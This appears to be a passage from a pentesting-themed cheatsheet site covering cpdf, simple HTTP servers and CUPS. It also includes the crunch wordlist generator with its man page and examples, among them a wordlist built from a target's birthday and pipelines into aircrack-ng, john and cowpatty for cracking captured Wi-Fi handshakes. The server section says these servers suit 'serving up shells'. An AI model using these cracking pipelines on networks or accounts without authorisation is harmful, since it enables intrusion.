# Decompress the data streams in in.pdf, writing to out.pdf.
cpdf -decompress in.pdf -o out.pdf
# List the bookmarks in in.pdf. This would produce:
cpdf -list-bookmarks in.pdf
# Outputs:
# Add bookmarks in the same form from a prepared file bookmarks.txt to
# in.pdf, writing to out.pdf.
cpdf -add-bookmarks bookmarks.txt in.pdf -o out.pdf
# Use the Split style to build a presentation from the PDF in.pdf,
# each slide staying 10 seconds on screen unless manually advanced.
# The first page, being a title does not move on automatically, and
# has no transition effect.
cpdf -presentation in.pdf 2-end -trans Split -duration 10 -o out.pdf
# Stamp the file watermark.pdf on to each page of in.pdf, writing the
# result to out.pdf.
cpdf -stamp-on watermark.pdf in.pdf -o out.pdf
# Add a page number and date to all the pages in in.pdf using the
# Courier font, writing to out.pdf
cpdf -topleft 10 -font Courier -add-text "Page %Page\nDate %d-%m-%Y" in.pdf -o out.pdf
# Two up impose the file in.pdf, writing to out.pdf
cpdf -twoup-stack in.pdf -o out.pdf
# Add extra blank pages after pages one, three and four of a document.
cpdf -pad-after 1,3,4 in.pdf -o out.pdf
# List the annotations in a file in.pdf to standard output.
cpdf -list-annotations in.pdf
# Might Produce:
# -- # Annotation text content 1 # -- # -- # Annotation text content 2
# --
# Copy the annotations from from.pdf to in.pdf, writing to out.pdf.
cpdf -copy-annotations from.pdf in.pdf -o out.pdf
# Set the document title of in.pdf. writing to out.pdf.
cpdf -set-title "The New Title" in.pdf -o out.pdf
# Set the document in.pdf to open with the Acrobat Viewer's toolbar
# hidden, writing to out.pdf.
cpdf -hide-toolbar true in.pdf -o out.pdf
# Set the metadata in a PDF in.pdf to the contents of the file
# metadata.xml, and write the output to out.pdf.
cpdf -set-metadata metadata.xml in.pdf -o out.pdf
# Set the document in.pdf to open in Acrobat Viewer showing two
# columns of pages, starting on the right, putting the result in
# out.pdf.
cpdf -set-page-layout TwoColumnRight in.pdf -o out.pdf
# Set the document in.pdf to open in Acrobat Viewer in full screen
# mode, putting the result in out.pdf.
cpdf -set-page-mode FullScreen in.pdf -o out.pdf
# Attach the file sheet.xls to in.pdf, writing to out.pdf.
cpdf -attach-file sheet.xls in.pdf -o out.pdf
# Remove any attachments from in.pdf, writing to out.pdf.
cpdf -remove-files in.pdf -o out.pdf
# Blacken all the text in in.pdf, writing to out.pdf.
cpdf -blacktext in.pdf -o out.pdf
# Make sure all lines in in.pdf are at least 2 pts wide, writing to
# out.pdf.
cpdf -thinlines 2pt in.pdf -o out.pdf
#==============================##==============================#
# CMD cpdf #
#==============================##==============================#
Cheatsheets are an excellent complement to other information sources like Linux man-pages, Linux help, or How-To’s and tutorials, as they provide compact and easily accessible information. While man-pages and detailed tutorials often contain comprehensive explanations and extensive guides, cheatsheets summarize the most important options forthe command cpdf in a clear format. This allows users to quickly access the needed information for cpdf without having to sift through lengthy texts. Especially in stressful situations or for recurring tasks, cheatsheets for cpdf are a valuable resource to work efficiently and purposefully.
░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░
█║▌│║█║▌★ KALI ★ PARROT ★ DEBIAN 🔴 PENTESTING ★ HACKING ★ █║▌│║█║▌
██╗ ██╗ ██████╗ ██████╗ ██╗ ██╗███████╗██████╗
████████╗██╔══██╗██╔═══██╗╚██╗██╔╝██╔════╝██╔══██╗
╚██╔═██╔╝██║ ██║██║ ██║ ╚███╔╝ █████╗ ██║ ██║
████████╗██║ ██║██║ ██║ ██╔██╗ ██╔══╝ ██║ ██║
╚██╔═██╔╝██████╔╝╚██████╔╝██╔╝ ██╗███████╗██████╔╝
╚═╝ ╚═╝ ╚═════╝ ╚═════╝ ╚═╝ ╚═╝╚══════╝╚═════╝
█║▌│║█║▌ WITH COMMANDLINE-KUNGFU POWER █║▌│║█║▌
░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░
20 - 🖥️create_local_server
➡️This is a command-line reference manual for commands and command combinations that you don’t use often enough to remember it. This cheatsheet explains the create_local_server command with important options and switches using examples.
▁ ▂ ▃ ▄ ꧁ 🔴☠ COMMANDLINE-KUNGFU WITH CHEATSHEETS ☠🔴꧂▅ ▃ ▂ ▁
# ██████╗██████╗ ███████╗ █████╗ ████████╗███████╗ ██╗ ██████╗ ██████╗ █████╗ ██╗
# ██╔════╝██╔══██╗██╔════╝██╔══██╗╚══██╔══╝██╔════╝ ██║ ██╔═══██╗██╔════╝██╔══██╗██║
# ██║ ██████╔╝█████╗ ███████║ ██║ █████╗ ██║ ██║ ██║██║ ███████║██║
# ██║ ██╔══██╗██╔══╝ ██╔══██║ ██║ ██╔══╝ ██║ ██║ ██║██║ ██╔══██║██║
# ╚██████╗██║ ██║███████╗██║ ██║ ██║ ███████╗███████╗███████╗╚██████╔╝╚██████╗██║ ██║███████╗
# ╚═════╝╚═╝ ╚═╝╚══════╝╚═╝ ╚═╝ ╚═╝ ╚══════╝╚══════╝╚══════╝ ╚═════╝ ╚═════╝╚═╝ ╚═╝╚══════╝
#
# ███████╗███████╗██████╗ ██╗ ██╗███████╗██████╗
# ██╔════╝██╔════╝██╔══██╗██║ ██║██╔════╝██╔══██╗
# ███████╗█████╗ ██████╔╝██║ ██║█████╗ ██████╔╝
# ╚════██║██╔══╝ ██╔══██╗╚██╗ ██╔╝██╔══╝ ██╔══██╗
# ███████║███████╗██║ ██║ ╚████╔╝ ███████╗██║ ██║
# ╚══════╝╚══════╝╚═╝ ╚═╝ ╚═══╝ ╚══════╝╚═╝ ╚═╝
# Run a basic http server, great for serving up shells etc
python -m SimpleHTTPServer 8000
# Run a basic Python3 http server, great for serving up shells etc
python3 -m http.server
# Run a ruby webrick basic http server
ruby -rwebrick -e "WEBrick::HTTPServer.new(:Port => 80, :DocumentRoot => Dir.pwd).start"
# Run a basic PHP http server
php -S 0.0.0.0:80
Cheatsheets are an excellent complement to other information sources like Linux man-pages, Linux help, or How-To’s and tutorials, as they provide compact and easily accessible information. While man-pages and detailed tutorials often contain comprehensive explanations and extensive guides, cheatsheets summarize the most important options forthe command create_local_server in a clear format. This allows users to quickly access the needed information for create_local_server without having to sift through lengthy texts. Especially in stressful situations or for recurring tasks, cheatsheets for create_local_server are a valuable resource to work efficiently and purposefully.
░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░
█║▌│║█║▌★ KALI ★ PARROT ★ DEBIAN 🔴 PENTESTING ★ HACKING ★ █║▌│║█║▌
██╗ ██╗ ██████╗ ██████╗ ██╗ ██╗███████╗██████╗
████████╗██╔══██╗██╔═══██╗╚██╗██╔╝██╔════╝██╔══██╗
╚██╔═██╔╝██║ ██║██║ ██║ ╚███╔╝ █████╗ ██║ ██║
████████╗██║ ██║██║ ██║ ██╔██╗ ██╔══╝ ██║ ██║
╚██╔═██╔╝██████╔╝╚██████╔╝██╔╝ ██╗███████╗██████╔╝
╚═╝ ╚═╝ ╚═════╝ ╚═════╝ ╚═╝ ╚═╝╚══════╝╚═════╝
█║▌│║█║▌ WITH COMMANDLINE-KUNGFU POWER █║▌│║█║▌
░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░
21 - 🖥️crunch
➡️This is a command-line reference manual for commands and command combinations that you don’t use often enough to remember it. This cheatsheet explains the crunch command with important options and switches using examples.
▁ ▂ ▃ ▄ ꧁ 🔴☠ COMMANDLINE-KUNGFU WITH CHEATSHEETS ☠🔴꧂▅ ▃ ▂ ▁
# ██████╗██████╗ ██╗ ██╗███╗ ██╗ ██████╗██╗ ██╗
# ██╔════╝██╔══██╗██║ ██║████╗ ██║██╔════╝██║ ██║
# ██║ ██████╔╝██║ ██║██╔██╗ ██║██║ ███████║
# ██║ ██╔══██╗██║ ██║██║╚██╗██║██║ ██╔══██║
# ╚██████╗██║ ██║╚██████╔╝██║ ╚████║╚██████╗██║ ██║
# ╚═════╝╚═╝ ╚═╝ ╚═════╝ ╚═╝ ╚═══╝ ╚═════╝╚═╝ ╚═╝
# crunch
# Password Attacks crunch – Create a wordlist based on criteria you specify
# crunch version 3.5
# Crunch is a wordlist generator where you can specify a standard character set or a character set you specify. crunch can generate all possible combinations and permutations. Crunch can create a wordlist based on criteria you specify. The outout from crunch can be sent to the screen, file, or to another program.
## Features:
-crunch generates wordlists in both combination and permutation ways
-it can breakup output by number of lines or file size
-now has resume support
-pattern now supports number and symbols
-pattern now supports upper and lower case characters separately
-adds a status report when generating multiple files
-new -l option for literal support of @,%^
-new -d option to limit duplicate characters see man file for details
-now has unicode support
Source: http://sourceforge.net/projects/crunch-wordlist/
crunch Homepage http://sourceforge.net/projects/crunch-wordlist
Kali crunch Repo http://git.kali.org/gitweb/?p=packages/crunch.git;a=summary
## Usage:
# crunch [minimum length] [maximum length] [charset / extra options]
# where min and max are numbers
## Most commonly used options
-b: The maximum size of the wordlist (along with -o START)
-c: Numbers of lines in the wordlist (along with -o START)
-d: Limit the number of duplicate characters
-f: Specify a list of character sets from the charset.lst file
-o: Output the wordlist to a file
-s: Specify a particular string to begin the words with
-p: Print permutations without repeating characters (cannot be used with -s)
-z: compress the output wordlist file, accompanied by -o
usage: ./crunch <from-len> <to-len> [-f <path to charset.lst> charset-name] [-o wordlist.txt or START] [-t [FIXED]@@@@] [-s startblock]
# Options:
-b : maximum bytes to write to output file. depending on the blocksize files may be some bytes smaller than specified but never bigger.
-c : numbers of lines to write to output file, only works if "-o START" is used, eg: 60 The output files will be in the format of starting letter - ending letter for example: crunch 1 5 -f /pentest/password/charset.lst mixalpha -o START -c 52 will result in 2 files: a-7.txt and 8-\ .txt The reason for the slash in the second filename is the ending character is space and ls has to escape it to print it. Yes you will need to put in the \ when specifying the filename.
-d : specify -d [n][@,%^] to suppress generation of strings with more than [n] adjacent duplicates from the given character set. For example: ./crunch 5 5 -d 2@ Will print all combinations with 2 or less adjacent lowercase duplicates.
-e : tells crunch to stop generating words at string. Useful when piping crunch to another program.
-f : path to a file containing a list of character sets, eg: charset.lst name of the character set in the above file eg:mixalpha-numeric-all-space
-i : inverts the output so the first character will change very often
-l : literal characters to use in -t @,%^
-o : allows you to specify the file to write the output to, eg: wordlist.txt
-p : prints permutations without repeating characters. This option CANNOT be used with -s. It also ignores min and max lengths.
-q : Like the -p option except it reads the strings from the specified file. It CANNOT be used with -s. It also ignores min and max.
-r : resume a previous session. You must use the same command line as the previous session.
-s : allows you to specify the starting string, eg: 03god22fs
-t [FIXED]@,%^ : allows you to specify a pattern, eg: @@god@@@@ where the only the @'s will change with lowercase letters the ,'s will change with uppercase letters the %'s will change with numbers the ^'s will change with symbols
-u : The -u option disables the printpercentage thread. This should be the last option.
-z : adds support to compress the generated output. Must be used with -o option. Only supports gzip, bzip, lzma, and 7z.
## crunch Usage Example
root@kali:~# crunch 3 7 abcdef
# This example will compute all passwords between 3 and 7 chars using 'abcdef' as the character set and dump it to stdout.
# Generate a dictionary file containing words with a minimum and maximum length of 6 (6 6) using the given characters (0123456789abcdef), saving the output to a file (-0 6chars.txt):
root@kali:~# crunch 6 6 0123456789abcdef -o 6chars.txt
Crunch will now generate the following amount of data: 117440512 bytes
112 MB
0 GB
0 TB
0 PB
Crunch will now generate the following number of lines: 16777216
root@kali:~# crunch 1 5 abc123 –o wordlist.txt
-First of all, we specify that we need to cover password length from 1 to 5.
-The -o [filename] option allowsus to save the wordlist to a text file, in this case wordlist.txt.
-abc123 are the characters that we want the wordlist to contain.
root@kali:~# crunch 1 5 abc\!\*\( -o wordlist.txt
# When we wish to specify some symbols in our character set, we need to seperate them with \. Crunch then ignores the \ and uses the symbols in between.
root@kali:~# crunch 4 5 -p abc
# When we use the -p permutation switch, the minimum and maximum password length are ignored because only our character set dictates the number of permutations. Nevertheless they are still needed to satisfy the syntax. The above command will produce ` abc, acb, bac, bca, cab, cba`.
root@kali:~# crunch 4 5 -p xeus hack .com
# Another permutation example, this one specifies individual words instead of a character set. And the output:
root@kali:~# crunch 1 8 abcd1234 –b 15mb –o START
# Sometimes we want to split up the output into smaller files so that it’s easier to manage. Here we’re telling crunch that we want to split up the output into files no more than 5MB each
root@kali:~# crunch 1 5 abc123 –o wordlist.txt -z gzip
# The above command creates our wordlist and then compress it with the gzip algorithm. We can also use the -z option (if we want to output to a file along with -o) to compress the wordlist. Crunch supports gzip, bzip2, lzma, and 7z.
root@kali:~# crunch 5 5 abcde14 -t @@@14 -d 2@ -o syskey.txt -z
# A zipped syskey.txt wordlist starting with "aab14" and ending in "eed14" will be produced from the above. The reason why the start is not "aaa14" is because -d 2@ allows for only 2 duplicate lowercase letters. Adding -i would invert the results, and adding -e dde14 would stop after the line "dde14" (or "41edd" in the case of an inverted output) is produced.
root@kali:~# crunch 5 5 bcopuw2468 -s cow28 -c 33 -b 20mb -o START
# The above will result in a 20mb text file and containing combinations for bcopuw2468 starting with "cow28" and ending on the 33rd line of the theoretical outcome.
root@kali:~# crunch 2 4 -p kite sky car -o owl.txt
# In this example the words 'kite' 'sky' and 'car' will be printed in all orders possible (wholly, not by letter) and outputted into output owl.txt without taking into account the min and max numbers. None of the words will be repeated. If only one word is included, it will will be used as a character set. You could use -q instead of -p to extract words from a specific file.
root@kali:~# crunch 6 6 -t @^42%3 -l a^aaaa -o art.txt
# In this case Crunch will will treat the ^ symbol as itself, rather than a representative of a special character. The sequence will commence with "a^4213" and end in "z^4293" and the output art.txt will be produced.
root@kali:~# crunch 4 6 -f /path/to/charset.lst -o words.txt
# Assume the situation where you enter the above command and then decide to pause the process midway. When you come back later, you may restore the session by adding -r option to the syntax, while keeping the rest exactly the same.
root@kali:~# crunch 10 10 -t @@@@@@0728 -o /root/birthdaywordlist.lst
# If we knew that the target's birthday was July 28 and they likely used that date (people often use their birthdates in their passwords to make it easier to remember) at the end of a ten character password? We could generate all the possibilities of ten-character passwords that end with 0728 and send the output to a file in the root user's directory named birthdaywordlist.lst. The @ sign is use to represent a wildcard of all possibilities, while the literals "0728" represent the fixed values.
root@kali:~# crunch 8 8 -f /usr/share/rainbowcrack/charset.txt mixalpha -o /root/alphawordlist.lst
# Now, if we know that our target is using an eight character password with only alphabetic characters, we can generate a list of all the possibilities in crunch
## crunch Pipes
# We can also pipe the output of crunch into other programs.
# aircrack-ng:
root@kali:~# crunch 2 6 abc123 | aircrack-ng /root/Mycapfile.cap -e MyESSID -w-
# airolib-ng:
root@kali:~# crunch 5 6 1234 --stdout | airolib-ng testdb -import passwd -
# cowpatty
root@kali:~# crunch 10 10 0123456789 -s 0125700000 -e 0125800000 -u | ./cowpatty -2 -f- -r <cap.file> -s <ESSID> -v
crunch 8 20 -f ~/crunch-3.6/charset.lst mixalpha-numeric-symbol14-space -i |./john --stdin (This accepts crunchs words) --session=stpcrunch --stdout (this then forwards it to aircrack) | aircrack-ng -a 2 -b D0:57:4C:56:D2:30 -w - ~/-01.cap
crunch 8 20 -f ~/crunch-3.6/charset.lst mixalpha-numeric-symbol14-space -i |./john --restore=stpcrunch | aircrack-ng -a 2 -b D0:57:4C:56:D2:30 -w - ~/-01.cap
CRUNCH(1) General Commands Manual CRUNCH(1)
NAME
crunch - generate wordlists from a character set
SYNOPSIS
crunch <min-len> <max-len> [<charset string>] [options]
DESCRIPTION
Crunch can create a wordlist based on criteria you specify. The output from crunch can be sent to the screen, file, or to another pro‐
gram. The required parameters are:
min-len
The minimum length string you want crunch to start at. This option is required even for parameters that won't use the value.
max-len
The maximum length string you want crunch to end at. This option is required even for parameters that won't use the value.
charset string
You may specify character sets for crunch to use on the command line or if you leave it blank crunch will use the default charac‐
ter sets. The order MUST BE lower case characters, upper case characters, numbers, and then symbols. If you don't follow this
order you will not get the results you want. You MUST specify either values for the character type or a plus sign. NOTE: If you
want to include the space character in your character set you must escape it using the \ character or enclose your character set
in quotes i.e. "abc ". See the examples 3, 11, 12, and 13 for examples.
OPTIONS
-b number[type]
Specifies the size of the output file, only works if -o START is used, i.e.: 60MB The output files will be in the format of
starting letter-ending letter for example: ./crunch 4 5 -b 20mib -o START will generate 4 files: aaaa-gvfed.txt, gvfee-ombqy.txt,
ombqz-wcydt.txt, wcydu-zzzzz.txt valid values for type are kb, mb, gb, kib, mib, and gib. The first three types are based on
1000 while the last three types are based on 1024. NOTE There is no space between the number and type. For example 500mb is
correct 500 mb is NOT correct.
-c number
Specifies the number of lines to write to output file, only works if -o START is used, i.e.: 60 The output files will be in the
format of starting letter-ending letter for example: ./crunch 1 1 -f /pentest/password/crunch/charset.lst mixalpha-numeric-all-
space -o START -c 60 will result in 2 files: a-7.txt and 8-\ .txt The reason for the slash in the second filename is the ending
character is space and ls has to escape it to print it. Yes you will need to put in the \ when specifying the filename because
the last character is a space.
-d numbersymbol
Limits the number of duplicate characters. -d 2@ limits the lower case alphabet to output like aab and aac. aaa would not be
generated as that is 3 consecutive letters of a. The format is number then symbol where number is the maximum number of consecu‐
tive characters and symbol is the symbol of the the character set you want to limit i.e. @,%^ See examples 17-19.
-e string
Specifies when crunch should stop early
-f /path/to/charset.lst charset-name
Specifies a character set from the charset.lst
-i Inverts the output so instead of aaa,aab,aac,aad, etc you get aaa,baa,caa,daa,aba,bba, etc
-l When you use the -t option this option tells crunch which symbols should be treated as literals. This will allow you to use the
placeholders as letters in the pattern. The -l option should be the same length as the -t option. See example 15.
-m Merged with -p. Please use -p instead.
-o wordlist.txt
Specifies the file to write the output to, eg: wordlist.txt
-p charset OR -p word1 word2 ...
Tells crunch to generate words that don't have repeating characters. By default crunch will generate a wordlist size of
#of_chars_in_charset ^ max_length. This option will instead generate #of_chars_in_charset!. The ! stands for factorial. For
example say the charset is abc and max length is 4.. Crunch will by default generate 3^4 = 81 words. This option will instead
generate 3! = 3x2x1 = 6 words (abc, acb, bac, bca, cab, cba). THIS MUST BE THE LAST OPTION! This option CANNOT be used with -s
and it ignores min and max length however you must still specify two numbers.
-q filename.txt
Tells crunch to read filename.txt and permute what is read. This is like the -p option except it gets the input from file‐
name.txt.
-r Tells crunch to resume generate words from where it left off. -r only works if you use -o. You must use the same command as the
original command used to generate the words. The only exception to this is the -s option. If your original command used the -s
option you MUST remove it before you resume the session. Just add -r to the end of the original command.
-s startblock
Specifies a starting string, eg: 03god22fs
-t @,%^
Specifies a pattern, eg: @@god@@@@ where the only the @'s, ,'s, %'s, and ^'s will change.
@ will insert lower case characters
, will insert upper case characters
% will insert numbers
^ will insert symbols
-u
The -u option disables the printpercentage thread. This should be the last option.
-z gzip, bzip2, lzma, and 7z
Compresses the output from the -o option. Valid parameters are gzip, bzip2, lzma, and 7z.
gzip is the fastest but the compression is minimal. bzip2 is a little slower than gzip but has better compression. 7z is slow‐
est but has the best compression.
EXAMPLES
Example 1
crunch 1 8
crunch will display a wordlist that starts at a and ends at zzzzzzzz
Example 2
crunch 1 6 abcdefg
crunch will display a wordlist using the character set abcdefg that starts at a and ends at gggggg
Example 3
crunch 1 6 abcdefg\
there is a space at the end of the character string. In order for crunch to use the space you will need to escape it using the \ char‐
acter. In this example you could also put quotes around the letters and not need the \, i.e. "abcdefg ". Crunch will display a
wordlist using the character set abcdefg that starts at a and ends at (6 spaces)
Example 4
crunch 1 8 -f charset.lst mixalpha-numeric-all-space -o wordlist.txt
crunch will use the mixalpha-numeric-all-space character set from charset.lst and will write the wordlist to a file named wordlist.txt.
The file will start with a and end with " "
Example 5
crunch 8 8 -f charset.lst mixalpha-numeric-all-space -o wordlist.txt -t @@dog@@@ -s cbdogaaa
crunch should generate a 8 character wordlist using the mixalpha-number-all-space character set from charset.lst and will write the
wordlist to a file named wordlist.txt. The file will start at cbdogaaa and end at " dog "
Example 6
crunch 2 3 -f charset.lst ualpha -s BB
crunch with start generating a wordlist at BB and end with ZZZ. This is useful if you have to stop generating a wordlist in the middle.
Just do a tail wordlist.txt and set the -s parameter to the next word in the sequence. Be sure to rename the original wordlist BEFORE
you begin as crunch will overwrite the existing wordlist.
Example 7
crunch 4 5 -p abc
The numbers aren't processed but are needed.
crunch will generate abc, acb, bac, bca, cab, cba.
Example 8
crunch 4 5 -p dog cat bird
The numbers aren't processed but are needed.
crunch will generate birdcatdog, birddogcat, catbirddog, catdogbird, dogbirdcat, dogcatbird.
Example 9
crunch 1 5 -o START -c 6000 -z bzip2
crunch will generate bzip2 compressed files with each file containing 6000 words. The filenames of the compressed files will be
first_word-last_word.txt.bz2
# time ./crunch 1 4 -o START -c 6000 -z gzip
real 0m2.729s
user 0m2.216s
sys 0m0.360s
# time ./crunch 1 4 -o START -c 6000 -z bzip2
real 0m3.414s
user 0m2.620s
sys 0m0.580s
# time ./crunch 1 4 -o START -c 6000 -z lzma
real 0m43.060s
user 0m9.965s
sys 0m32.634s
size filename
30K aaaa-aiwt.txt
12K aaaa-aiwt.txt.gz
3.8K aaaa-aiwt.txt.bz2
1.1K aaaa-aiwt.txt.lzma
Example 10
crunch 4 5 -b 20mib -o START
will generate 4 files: aaaa-gvfed.txt, gvfee-ombqy.txt, ombqz-wcydt.txt, wcydu-zzzzz.txt
the first three files are 20MBs (real power of 2 MegaBytes) and the last file is 11MB.
Example 11
crunch 3 3 abc + 123 !@# -t @%^
will generate a 3 character long word with a character as the first character, and number as the second character, and a symbol for the
third character. The order in which you specify the characters you want is important. You must specify the order as lower case charac‐
ter, upper case character, number, and symbol. If you are not going to use a particular character set you use a plus sign as a place‐
holder. As you can see I am not using the upper case character set so I am using the plus sign placeholder. The above will start at
a1! and end at c3#
Example 12
crunch 3 3 abc + 123 !@# -t ^%@
will generate 3 character words starting with !1a and ending with #3c
Example 13
crunch 4 4 + + 123 + -t %%@^
the plus sign (+) is a place holder so you can specify a character set for the character type. crunch will use the default character
set for the character type when crunch encounters a + (plus sign) on the command line. You must either specify values for each charac‐
ter type or use the plus sign. I.E. if you have two characters types you MUST either specify values for each type or use a plus sign.
So in this example the character sets will be:
abcdefghijklmnopqrstuvwxyz
ABCDEFGHIJKLMNOPQRSTUVWXYZ
123
!@#$%^&*()-_+=~[]{}|\:;"''"<>,.?/
there is a space at the end of the above string
the output will start at 11a! and end at "33z ". The quotes show the space at the end of the string.
Example 14
crunch 5 5 -t ddd@@ -o j -p dog cat bird
any character other than one of the following: @,%^
is the placeholder for the words to permute. The @,%^ symbols have the same function as -t.
If you want to use @,%^ in your output you can use the -l option to specify which character you want crunch to treat as a literal.
So the results are
birdcatdogaa
birdcatdogab
birdcatdogac
<skipped>
dogcatbirdzy
dogcatbirdzz
Example 15
crunch 7 7 -t p@ss,%^ -l a@aaaaa
crunch will now treat the @ symbol as a literal character and not replace the character with a uppercase letter.
this will generate
p@ssA0!
p@ssA0@
p@ssA0#
p@ssA0$
<skipped>
p@ssZ9
Example 16
crunch 5 5 -s @4#S2 -t @%^,2 -e @8 Q2 -l @dddd -b 10KB -o START
crunch will generate 5 character strings starting with @4#S2 and ending at @8 Q2. The output will be broken into 10KB sized files named
for the files starting and ending strings.
Example 17
crunch 5 5 -d 2@ -t @@@%%
crunch will generate 5 character strings staring with aab00 and ending at zzy99. Notice that aaa and zzz are not present.
Example 18
crunch 10 10 -t @@@^%%%%^^ -d 2@ -d 3% -b 20mb -o START
crunch will generate 10 character strings starting with aab!0001!! and ending at zzy 9998 The output will be written to 20mb files.
Example 19
crunch 8 8 -d 2@
crunch will generate 8 characters that limit the same number of lower case characters to 2. Crunch will start at aabaabaa and end at
zzyzzyzz.
Example 20
crunch 4 4 -f unicode_test.lst japanese -t @@%% -l @xdd
crunch will load some Japanese characters from the unicode_test character set file. The output will start at @日00 and end at @語99.
REDIRECTION
You can use crunch's output and pipe it into other programs. The two most popular programs to pipe crunch into are: aircrack-ng and
airolib-ng. The syntax is as follows:
crunch 2 4 abcdefghijklmnopqrstuvwxyz | aircrack-ng /root/Mycapfile.cap -e MyESSID -w-
crunch 10 10 12345 --stdout | airolib-ng testdb -import passwd -
NOTES
1. Starting in version 2.6 crunch will display how much data is about to be generated. In 2.7 it will also display how many lines will
be generated. Crunch will now wait 3 seconds BEFORE it begins generating data to give you time to press Ctrl-C to abort crunch if you
find the values are too large for your application.
2. I have added hex-lower (0123456789abcdef) and hex-upper (0123456789ABCDEF) to charset.lst.
3. Several people have requested that I add support for the space character to crunch. crunch has always supported the space character
on the command line and in the charset.lst. To add a space on the command line you must escape it using the / character. See example 3
for the syntax. You may need to escape other characters like ! or # depending on your operating system.
4. Starting in 2.7 if you are generating a file then every 10 seconds you will receive the % done.
5. Starting in 3.0 I had to change the -t * character to a , as the * is a reserved character. You could still use it if you put a \ in
front of the *. Yes it breaks crunch's syntax and I do my best to avoid doing that, but in this instance it is easier to make the
change for long term support.
6. Some output is missing. A file did not get generated.
The mostly explanation is you ran out of disk space. If you have verified you have plenty of disk space then the problem is most likely
the filename begins with a period. In Linux filenames that begin with a period are hidden. To view them do a ls -l .*
7. Crunch says The maximum and minimum length should be the same size as the pattern you specified, however the length is set correctly.
This usually means your pattern contains a character that needs to be escaped. In bash you need to escape the followings: &, *, space,
\, (, ), |, ', ", ;, <, >.
The escape character in bash is a \. So a pattern that has a & and a * in it would look like this:
crunch 4 4 -t \&\*d@
An alternative to escaping characters is to wrap your string with quotes. For example:
crunch 4 4 -t "&*d@"
If you want to use the " in your pattern you will need to escape it like this: crunch 4 4 -t "&*\"@"
Please note that different terminals have different escape characters and probably have different characters that will need escaping.
Please check the manpage of your terminal for the escape characters and characters that need escaping.
8. When using the -z 7z option, 7z does not delete the original file. You will have to delete those files by hand.
AUTHOR
This manual page was written by [email protected]
Crunch version 1.0 was written by [email protected]
all later versions of crunch have been updated by [email protected]
FILES
None.
BUGS
If you find any please email bofh28 <[email protected]> or post to http://www.backtrack-linux.org
COPYRIGHT
Copyright (c) 2009-2013 bofh28 <[email protected]>
This file is a part of Crunch.
Crunch is free software: you can redistribute it and/or modify it under the terms of the GNU General Public License as published by the
Free Software Foundation, version 2 only of the License.
Crunch is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without even the implied warranty of MERCHANTABILITY
or FITNESS FOR A PARTICULAR PURPOSE. See the GNU General Public License for more details.
You should have received a copy of the GNU General Public License along with Crunch. If not, see <http://www.gnu.org/licenses/>.
Cheatsheets are an excellent complement to other information sources like Linux man-pages, Linux help, or How-To’s and tutorials, as they provide compact and easily accessible information. While man-pages and detailed tutorials often contain comprehensive explanations and extensive guides, cheatsheets summarize the most important options forthe command crunch in a clear format. This allows users to quickly access the needed information for crunch without having to sift through lengthy texts. Especially in stressful situations or for recurring tasks, cheatsheets for crunch are a valuable resource to work efficiently and purposefully.
░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░
█║▌│║█║▌★ KALI ★ PARROT ★ DEBIAN 🔴 PENTESTING ★ HACKING ★ █║▌│║█║▌
██╗ ██╗ ██████╗ ██████╗ ██╗ ██╗███████╗██████╗
████████╗██╔══██╗██╔═══██╗╚██╗██╔╝██╔════╝██╔══██╗
╚██╔═██╔╝██║ ██║██║ ██║ ╚███╔╝ █████╗ ██║ ██║
████████╗██║ ██║██║ ██║ ██╔██╗ ██╔══╝ ██║ ██║
╚██╔═██╔╝██████╔╝╚██████╔╝██╔╝ ██╗███████╗██████╔╝
╚═╝ ╚═╝ ╚═════╝ ╚═════╝ ╚═╝ ╚═╝╚══════╝╚═════╝
█║▌│║█║▌ WITH COMMANDLINE-KUNGFU POWER █║▌│║█║▌
░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░
22 - 🖥️cups
➡️This is a command-line reference manual for commands and command combinations that you don’t use often enough to remember it. This cheatsheet explains the cups command with important options and switches using examples.
▁ ▂ ▃ ▄ ꧁ 🔴☠ COMMANDLINE-KUNGFU WITH CHEATSHEETS ☠🔴꧂▅ ▃ ▂ ▁
# ██████╗██╗ ██╗██████╗ ███████╗
# ██╔════╝██║ ██║██╔══██╗██╔════╝
# ██║ ██║ ██║██████╔╝███████╗
# ██║ ██║ ██║██╔═══╝ ╚════██║
# ╚██████╗╚██████╔╝██║ ███████║
# ╚═════╝ ╚═════╝ ╚═╝ ╚══════╝
# Manage printers through CUPS:
http://localhost:631 (in web browser)
# Print file from command line
lp myfile.txt
# Display print queue
lpq
# Remove print job from queue
lprm 545
or
lprm -
# Print log location
/var/log/cups
# Reject new jobs
cupsreject printername
# Accept new jobs
cupsaccept printername
#==============================##==============================#
# CMD cups #
#==============================##==============================#
Cheatsheets are an excellent complement to other information sources like Linux man-pages, Linux help, or How-To’s and tutorials, as they provide compact and easily accessible information. While man-pages and detailed tutorials often contain comprehensive explanations and extensive guides, cheatsheets summarize the most important options forthe command cups in a clear format. This allows users to quickly access the needed information for cups without having to sift through lengthy texts. Especially in stressful situations or for recurring tasks, cheatsheets for cups are a valuable resource to work efficiently and purposefully.
░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░
█║▌│║█║▌★ KALI ★ PARROT ★ DEBIAN 🔴 PENTESTING ★ HACKING ★ █║▌│║█║▌
██╗ ██╗ ██████╗ ██████╗ ██╗ ██╗███████╗██████╗
████████╗██╔══██╗██╔═══██╗╚██╗██╔╝██╔════╝██╔══██╗
╚██╔═██╔╝██║ ██║██║ ██║ ╚███╔╝ █████╗ ██║ ██║
████████╗██║ ██║██║ ██║ ██╔██╗ ██╔══╝ ██║ ██║
╚██╔═██╔╝██████╔╝╚██████╔╝██╔╝ ██╗███████╗██████╔╝
